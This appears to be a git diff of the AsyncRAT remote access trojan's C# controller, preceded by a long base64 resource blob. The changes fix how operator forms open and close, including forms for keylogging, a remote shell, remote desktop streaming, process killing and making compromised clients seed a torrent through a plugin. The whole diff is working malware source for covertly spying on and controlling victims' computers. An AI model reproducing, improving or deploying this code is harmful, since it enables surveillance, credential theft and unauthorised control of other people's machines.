A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPdAf8D3QH/A90B/wPdAf8D2wH/A7UB/wPcAf8D2wH/ + A9sB/wPbAf8D2gH/A9oB/wNYAbsDEwEaAwEBAhwAA08BlwPWAf8D1gH/A9UB/wPUAf8D1AH/A9IB/wPR + Af8D0QH/A88B/wPGAf8DuAH/A7YB/wO1Af8DuQH/A8cB/wPGAf8DxgH/A7MB/wOqAf8DvgH/A8AB/wO/ + Af8DuwH/A6gB/wOjAf8DuAH/A7gB/wO4Af8DtwH/A7UB/wO0Af8DswH/A7EB/wOwAf8DrwH/A60B/wNd + AcrwAANQAZ4BawF7AYAB8QGTAdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGTAdsB+wH/AZMB2wH7Af8BkwHb + AfsB/wGTAdsB+wH/AZIB2QH5Af8BiQHLAegB/wFIAaMBvgH/AUoBpgHCAf8BTAGoAcQB/wFNAaoBxwH/ + AVYBuQHXAf8BbQHJAeoB/wGIAdMB8wH/AYoB1AHzAf8BiQHTAfMB/wGEAdEB8gH/AYIB0AHyAf8BhAHR + AfIB/wGKAdQB8wH/AYoB1AHzAf8BigHUAfMB/wGKAdQB8wH/A10BygMfASw8AAMBAQIDFgEeA1gBvAPZ + Af8D2gH/A9oB/wPQAf8D7gH/A/YB/wPoAf8D6AH/A98B/wPCAf8D2QH/A9gB/wPdAf8D3QH/A90B/wPd + Af8D3AH/A9wB/wPcAf8D3AH/A90B/wPdAf8D3QH/A90B/wPdAf8D3QH/A9wB/wPcAf8D3AH/A88B/wOn + Af8D2wH/A9sB/wPaAf8D2gH/A9kB/wPYAf8DWAG5AxABFgMAAQEcAAM7AWQD2AH/A9kB/wPXAf8D1wH/ + A9YB/wPUAf8D0wH/A9MB/wPRAf8DvAH/A7oB/wO5Af8DuAH/A7YB/wPEAf8DygH/A8kB/wO3Af8DrwH/ + A8EB/wPDAf8DwgH/A74B/wOwAf8DpgH/A7QB/wO5Af8DuwH/A7kB/wO4Af8DtwH/A7UB/wO0Af8DswH/ + A7IB/wOwAf8DRQF98AADUAGdAWsBewGAAfEBkwHbAfsB/wGTAdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGT + AdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGSAdkB+QH/AYkBywHpAf8BSgGlAb8B/wFMAakBxAH/AU8BrQHJ + Af8BUgGzAdAB/wFbAcEB4AH/AXABzQHuAf8BiwHVAfQB/wGMAdUB9AH/AYoB1AH0Af8BggHRAfMB/wGD + AdIB8wH/AYcB0wH0Af8BjAHVAfQB/wGMAdUB9AH/AYwB1QH0Af8BjAHVAfQB/wNdAcoDHwEsPwABAQMT + ARoDVwG6A9cB/wPYAf8DyQH/A7IB/wPfAf8D5gH/A+YB/wP+Af8D+AH/A/MB/wPoAf8D1wH/A9UB/wPM + Af8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPbAf8D2wH/A9sB/wPb + Af8DvgH/A5wB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wNXAbcDDgETAwABARwAAyIBMQPFAf4D2wH/ + A9kB/wPZAf8D2AH/A9cB/wPVAf8D1QH/A9MB/wPMAf8DuwH/A7UB/wO0Af8DvAH/A8sB/wPNAf8DywH/ + A7oB/wOxAf8DxAH/A8YB/wPFAf8DtAH/A64B/wOpAf8DrAH/A64B/wO9Af8DvAH/A7oB/wO5Af8DuAH/ + A7cB/wO2Af8DtAH/A7IB/wMiATHwAANRAZwBawF7AYAB8QGUAdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGU + AdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGUAdwB+wH/AZMB2gH5Af8BigHMAeoB/wFLAacBwwH/AVABsAHN + Af8BVgG6AdcB/wFcAcMB4wH/AWgBzQHtAf8BhQHTAfMB/wGMAdYB9QH/AYsB1gH1Af8BiAHUAfUB/wGC + AdIB9AH/AYMB0wH0Af8BiQHVAfUB/wGMAdYB9QH/AYwB1gH1Af8BjAHWAfUB/wGMAdYB9QH/A1wByQMd + ASo/AAEBAxABFgNXAbgD1QH/A9UB/wO5Af8DsgH/A9kB/wPZAf8D2gH/A9oB/wPaAf8D7wn/A/sB/wPb + Af8DzgH/A7MB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2gH/A9oB/wPa + Af8DrQH/A5QB/wPZAf8D2AH/A9cB/wPWAf8D1AH/A9MB/wNVAbUDDAEQIAADAwEEA2gB9QPcAf8D2wH/ + A9sB/wPaAf8D2AH/A9gB/wPYAf8D1gH/A9UB/wPUAf8D0wH/A9IB/wPRAf8D0AH/A84B/wPOAf8DvQH/ + A7MB/wPHAf8DyQH/A8gB/wOxAf8DrgH/A60B/wOrAf8DrgH/A8AB/wO/Af8DvQH/A70B/wO8Af8DugH/ + A7kB/wO4Af8DZAHsAwABAfAAA1EBnAFrAXsBgAHxAZQB3gH9Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9 + Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9Af8BkwHcAfsB/wGMAdEB7QH/AVMBtQHSAf8BXQHCAeAB/wFn + AckB6gH/AWkBzwHwAf8BhAHSAfQB/wGKAdYB9gH/AY0B1wH2Af8BjAHXAfYB/wGHAdUB9QH/AYMB0wH1 + Af8BhgHUAfUB/wGMAdYB9gH/AY0B1wH2Af8BjQHXAfYB/wGNAdcB9gH/AY0B1wH2Af8DXAHJAx0BKj8A + AQEDDgETA1YBtgPSAf8D0wH/A8wB/wOdAf8D1gH/A9cB/wPYAf8D2QH/A9oB/wPaAf8D2gH/A+kB/wPz + Af8D+gH/A+8B/wPnAf8DzwH/A88B/wPHAf8D2wH/A9sB/wPbAf8D2wH/A9oB/wPaAf8D2gH/A9oB/wPa + Af8D2QH/A6gB/wOVAf8D1wH/A9UB/wPUAf8D0wH/A9IB/wPRAf8DTAGPAwoBDSQAA1QBrgPeAf8D3QH/ + A9wB/wPcAf8D2wH/A9oB/wPZAf8D2AH/A9cB/wPXAf8D1QH/A9QB/wPUAf8D0gH/A9EB/wPQAf8DwAH/ + A7cB/wPLAf8DzAH/A8sB/wOyAf8DsAH/A64B/wOuAf8DswH/A8MB/wPCAf8DwAH/A78B/wO+Af8DvAH/ + A7wB/wO6Af8DVwG6AwABAfAAA1EBnAFrAX4BgAHxAZMB4AH9Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9 + Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9Af8BlAHeAfoB/wGMAdIB7gH/AV0BxAHkAf8BcQHOAfAB/wGC + AdIB9AH/AYQB0wH1Af8BhgHVAfYB/wGMAdcB9wH/AY4B2AH3Af8BjAHXAfcB/wGGAdUB9gH/AYQB1AH2 + Af8BigHWAfcB/wGOAdgB9wH/AY4B2AH3Af8BjgHYAfcB/wGOAdgB9wH/AY4B2AH3Af8DXAHJAx0BKkAA + AwwBEANWAbQD0AH/A9EB/wPSAf8DbAH/A9QB/wPVAf8D1gH/A9cB/wPYAf8D2AH/A9gB/wPZAf8D2QH/ + A+EB/wPtBf8D7wH/A90B/wPGAf8DvQH/A9kB/wPZAf8D2QH/A9kB/wPZAf8D2AH/A9gB/wPYAf8D1wH/ + A6UB/wOpAf8D1QH/A9MB/wPSAf8D0QH/A9AB/wPPAf8DMQFPAwgBCyQAAzoBYgPfAf8D3wH/A94B/wPd + Af8D3QH/A9wB/wPbAf8D2QH/A9kB/wPZAf8D1wH/A9YB/wPWAf8D1AH/A9MB/wPSAf8DwgH/A7oB/wPN + Af8DzgH/A80B/wPEAf8DwgH/A8AB/wO/Af8DwgH/A8YB/wPFAf8DwwH/A8IB/wPAAf8DvwH/A74B/wO9 + Af8DSQGH9AADUAGbAWsBfgGAAfEBkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGRAeEB/QH/ + AZEB4QH9Af8BkQHhAf0B/wGZAd0B9gH/AYkByQHiAf8BggHSAfQB/wGEAdQB9gH/AYQB1AH3Af8BhAHU + AfcB/wGIAdYB9wH/AY0B2AH4Af8BjgHYAfgB/wGKAdcB+AH/AYUB1QH3Af8BhQHUAfcB/wGMAdcB+AH/ + AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wNcAckDHQEqQAADCgEOA0wBkAPM + Af8DzgH/A9AB/wNWAf8D0QH/A9IB/wPTAf8D1AH/A9UB/wPVAf8D1gH/A9YB/wPXAf8D1wH/A9gB/wPY + Af8D/AX/A9gB/wPFAf8DvwH/A9cB/wPXAf8D1wH/A9YB/wPWAf8D1QH/A9UB/wPUAf8DogH/A78B/wPS + Af8D0AH/A88B/wPOAf8DzQH/A8sB/wMhATADBwEJJAADEAEVA7MB/gPgAf8D3wH/A98B/wPeAf8D3gH/ + A90B/wPcAf8D2wH/A9sB/wPZAf8D2AH/A9gB/wPXAf8D2AH/A9gB/wPIAf8DvgH/A9MB/wPUAf8D0QH/ + A88B/wPNAf8DzQH/A8sB/wPJAf8DyQH/A8cB/wPGAf8DxQH/A8QB/wPCAf8DwQH/A4YB/AM1AVf0AANQ + AZsBawF+AYIB8QGPAeEB/QH/AY8B4QH9Af8BkAHhAf0B/wGRAeIB/QH/AZIB3wH6Af8BlAHcAfYB/wGT + AdQB7AH/AYYBzAHnAf8BgwHPAe8B/wGEAdUB+AH/AYUB1QH4Af8BhQHVAfgB/wGFAdUB+AH/AYwB2AH5 + Af8BjwHZAfkB/wGQAdkB+QH/AYkB1wH4Af8BhgHVAfgB/wGIAdcB+AH/AY8B2AH5Af8BkQHZAfkB/wGR + AdkB+QH/AZEB2gH5Af8BkgHZAfkB/wGKAcwB6wH/AVgCWgHAAxwBJ0AAAwgBCwMyAVEDyAH/A8sB/wPN + Af8DSAH/A84B/wPPAf8D0AH/A9EB/wPSAf8D0gH/A9MB/wPTAf8D1AH/A9QB/wPUAf8D1QH/A9UB/wPn + Bf8D3wH/A7UB/wO8Af8D1AH/A9QB/wPTAf8D0wH/A9IB/wPSAf8D0QH/A6EB/wPPAf8DzwH/A80B/wPN + Af8DywH/A8kB/wPIAf8DHwEsAwYBCCgAA14B2QPiAf8D4QH/A+EB/wPgAf8D4AH/A98B/wPeAf8D3QH/ + A9wB/wPbAf8D2wH/A9oB/wPYAf8DxAH/A8IB/wPDAf8DwwH/A8EB/wO8Af8DygH/A9EB/wPQAf8DzwH/ + A84B/wPMAf8DzAH/A8sB/wPJAf8DyAH/A8cB/wPFAf8DxAH/A2cB5QMnATv0AANQAZsBaQF+AYIB8QGN + AeIB/QH/AY8B4gH8Af8BkAHhAfoB/wGRAd4B9gH/AZIB1gHvAf8BdAHNAegB/wGGAdIB8QH/AYQB0wH0 + Af8BhAHVAfgB/wGFAdYB+QH/AYUB1gH5Af8BhgHWAfkB/wGHAdcB+QH/AY8B2gH6Af8BkQHbAfoB/wGR + AdsB+gH/AYkB1gH4Af8BfwGxAckB/gF0AY8BqwH8AWoBiQGOAfkBZQFzAXcB9AFiAWYBawHvAWABZQFn + AegDYQHhA2EB2gNJAYgDEwEaQAADBwEJAyIBMQOuAf4DxgH/A8kB/wM+Af8DywH/A80B/wPOAf8DzwH/ + A9AB/wPQAf8D0AH/A9EB/wPSAf8D0gH/A9IB/wPSAf8D0wH/A9MB/wPhAf8D5AH/A9IB/wOJAf8D0gH/ + A9EB/wPRAf8D0QH/A9AB/wPPAf8DzwH/A6AB/wPNAf8DzAH/A8oB/wPIAf8DxgH/A8QB/wO+Af8DGwEm + AwQBBigAA1QBpgPjAf8D4wH/A+MB/wPhAf8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3QH/A9wB/wPb + Af8D2AH/A8gB/wPEAf8DxgH/A8EB/wPMAf8D1AH/A9MB/wPSAf8D0QH/A9AB/wPOAf8DzgH/A80B/wPL + Af8DywH/A8kB/wPIAf8DxwH/A1sBywMYASH0AANQAZoBZQF2AXoB8AGKAeIB/QH/AZIB4gH7Af8BlgHZ + Ae0B/wFgAb8B1wH/AWkBzQHtAf8BhQHWAfcB/wGGAdcB+QH/AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/ + AYYB1wH5Af8BhwHXAfgB/wGKAdcB+AH/AZQB2wH5Af8BmAHcAfkB/wGEAcYB4gH+AZYBuAHCAf0BagGH + AYkB+QFgAmIB7wNhAdoDWQG+A1ABnQNBAXIDMAFLAxwBJwMHAQkDAAEBQAADBQEHAx4BKwOqAf4DwQH/ + A8MB/wPEAf8DrAH/A8kB/wPKAf8DywH/A8wB/wPNAf8DzgH/A84B/wPOAf8DzwH/A88B/wPPAf8DzwH/ + A9AB/wPQAf8DxQH/A88B/wOIAf8DpAH/A84B/wPOAf8DzgH/A80B/wPMAf8DywH/A54B/wPJAf8DyAH/ + A8UB/wPDAf8DwgH/A8AB/wOpAf8DGAEhAwQBBSgAA0IBcwPjAf8D5AH/A+MB/wPjAf8D4gH/A+IB/wPh + Af8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3AH/A9kB/wPFAf8DwQH/A80B/wPYAf8D1wH/A9YB/wPU + Af8D0wH/A9IB/wPRAf8D0QH/A9AB/wPOAf8DzQH/A8wB/wPKAf8DygH/A1YBsQMFAQf0AANQAZoBZgF0 + AXkB8AGWAdsB8wH/AX8BrAG/Af4BcAGaAbEB/AFuAZUBoAH6AWgBggGJAfUBYgFyAXoB7wFjAWoBbgHo + AWEBZAFlAeICXwFhAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4AV4DMAFLAycBOgMfAS0DHAEn + AxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOkAf4DvQH/A78B/wPAAf8DtwH/A54B/wOf + Af8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/A7oB/wO5Af8DxwH/A8oB/wO4 + Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/A8AB/wO/Af8DvQH/A7sB/wOL + Af8DFAEcAwMBBCgAAy4BSAOAAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPhAf8D4AH/ + A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPXAf8D1gH/A9UB/wPUAf8D0wH/ + A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHcA14B1QNcAcwDWQG/A1YBqwNO + AZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgENAwYBCAMDAQQDAAEBAwABAVwA + AwMBBAMTARoDhwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/AckCygH/A98B/wPRAf8BvwLA + Af8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/AdwC3QH/Ac0CzgH/A8cB/wO0 + Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/A9AB/wPFAf8DwgH/A2kB/wMP + ARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPjAf8D4wH/A+IB/wPiAf8D4QH/ + A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wPVAf8D1AH/ + A9IB/wPSAf8D0QH/A6oB/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEaAwcBCgMAAQGfAAEBAwgBCwNo + Af4DlgH/A2wB/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/AfYC9wH/AfQC9QH/AfIC9AH/ + AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/Ac8C0AH/A8IB/wPCAf8DwQH/ + A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyAB/wOTAf8DswH/A1sBxAMGAQgDAAEB + MAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5 + AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzgBXQMj + ATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNWAasDVgGrA1YBqwNWAasDVgGr + A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGr + A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNTAaoDDAEQ + AwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB + AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB + AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFCAU0BPgcAAT4DAAEoAwABwAMA + ATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/BgAB/wH4AQ8B/AEBAf8BwAQA + AQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYAAf8EAAE/AYAFAAHABAABAwYA + Af8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEHAYARAAH+ + BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsAAf4EAAEHAYAFAAGACwAB/gQA + AQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGABAABAQGABAABAQYAAf4DAAEB + Af8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYA + Af4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHg + BAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHA + BAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMA + AQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEP + BgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQAAR8GAAH+AwABDwH/AeAEAAED + AfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQAAQcB/AQAAR8GAAH+AwABDwH/ + AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+ + AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYAAf4DAAEfAf8B8AQAAQcB/gQA + AX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGAAgABAQH/BgAB/gEPBP8B+AQA + AQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 1765746..9926860 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -42,7 +42,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -119,12 +118,12 @@ } #endregion - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStrip toolStrip1; private System.Windows.Forms.ToolStripLabel toolStripLabel1; private System.Windows.Forms.ToolStripTextBox toolStripTextBox1; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripButton toolStripButton1; public System.Windows.Forms.RichTextBox richTextBox1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index 1cb791e..63aeb3a 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -37,10 +37,16 @@ namespace Server.Forms private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { Sb?.Clear(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + if (Client != null) + { + new Thread(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + }).Start(); + } } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs index e8291d8..63b92c9 100644 --- a/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs @@ -120,6 +120,7 @@ this.MinimizeBox = false; this.Name = "FormPorts"; this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "PortsFrm"; this.TopMost = true; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.PortsFrm_FormClosed); diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs index 815379e..8c4b489 100644 --- a/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs @@ -49,9 +49,11 @@ this.lv_id}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView1.Enabled = false; this.listView1.FullRowSelect = true; this.listView1.GridLines = true; this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.listView1.HideSelection = false; this.listView1.Location = new System.Drawing.Point(0, 0); this.listView1.Name = "listView1"; this.listView1.ShowGroups = false; @@ -104,7 +106,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.timer1_Tick); // @@ -117,6 +118,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormProcessManager"; this.Text = "ProcessManager"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormProcessManager_FormClosed); this.contextMenuStrip1.ResumeLayout(false); this.ResumeLayout(false); @@ -127,9 +129,9 @@ private System.Windows.Forms.ColumnHeader lv_id; public System.Windows.Forms.ListView listView1; public System.Windows.Forms.ImageList imageList1; - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs index d2b5265..23a2706 100644 --- a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs @@ -17,6 +17,7 @@ namespace Server.Forms { public Form1 F { get; set; } internal Clients Client { get; set; } + internal Clients ParentClient { get; set; } public FormProcessManager() { @@ -28,7 +29,7 @@ namespace Server.Forms { try { - if (!Client.TcpClient.Connected) this.Close(); + if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close(); } catch { this.Close(); } } @@ -61,5 +62,14 @@ namespace Server.Forms ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); }); } + + private void FormProcessManager_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + Client?.Disconnected(); + } + catch { } + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index b0e5c67..377625d 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -44,7 +44,7 @@ namespace Server.Forms { try { - if (!ParentClient.TcpClient.Connected) this.Close(); + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); } catch { this.Close(); } } @@ -87,7 +87,7 @@ namespace Server.Forms msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; btnSave.Enabled = true; @@ -100,8 +100,10 @@ namespace Server.Forms button1.Tag = (object)"play"; try { - Client.Disconnected(); - Client = null; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "stop"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { } numericUpDown1.Enabled = true; diff --git a/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs index dedcf8c..c3950e5 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs @@ -66,7 +66,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -101,7 +100,7 @@ #endregion private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.Panel panel1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs index cc3023a..3b4946d 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.cs @@ -26,6 +26,7 @@ namespace Server.Forms private void TextBox1_KeyDown(object sender, KeyEventArgs e) { + if (Client != null) if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) { if (textBox1.Text == "cls".ToLower()) @@ -64,10 +65,11 @@ namespace Server.Forms private void ExitShell() { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; - msgpack.ForcePathObject("WriteInput").AsString = "exit"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + Client?.Disconnected(); + } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.cs index c919bb8..00b6d62 100644 --- a/AsyncRAT-C#/Server/Forms/FormTorrent.cs +++ b/AsyncRAT-C#/Server/Forms/FormTorrent.cs @@ -11,6 +11,7 @@ using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; +using Server.Algorithm; namespace Server.Forms { @@ -48,10 +49,18 @@ namespace Server.Forms try { if (!IsOk) return; + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "torrent"; + packet.ForcePathObject("Option").AsString = "seed"; + packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); + MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "torrent"; - msgpack.ForcePathObject("Option").AsString = "seed"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) { Clients client = (Clients)itm.Tag; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index e2e1304..435a2e1 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -13,21 +13,41 @@ namespace Server.Handle_Packet { public class HandleChat { - public 